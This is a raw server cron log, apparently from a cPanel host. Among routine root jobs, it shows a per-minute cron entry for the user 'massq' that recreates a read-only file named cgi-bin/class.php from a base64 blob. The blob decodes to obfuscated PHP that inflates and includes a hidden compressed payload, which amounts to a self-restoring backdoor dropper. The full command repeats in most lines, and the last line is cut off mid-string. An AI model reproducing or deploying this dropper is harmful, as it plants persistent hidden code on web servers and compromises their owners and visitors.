Apr  8 13:08:01 server CROND[25254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:09:01 server CROND[25335]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 13:09:01 server CROND[25336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:10:01 server CROND[25399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 13:10:01 server CROND[25400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:10:01 server CROND[25401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:10:01 server CROND[25403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:11:01 server CROND[25569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:12:01 server CROND[25770]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 13:12:01 server CROND[25771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:13:01 server CROND[25836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:14:01 server CROND[25905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:15:01 server CROND[26050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:15:01 server CROND[26051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:15:01 server CROND[26053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:16:01 server CROND[26187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:17:01 server CROND[26265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:18:01 server CROND[26427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:19:01 server CROND[26515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:20:01 server CROND[26612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:20:01 server CROND[26614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:20:01 server CROND[26615]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 13:20:01 server CROND[26618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:20:01 server CROND[26616]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 13:21:01 server CROND[26777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l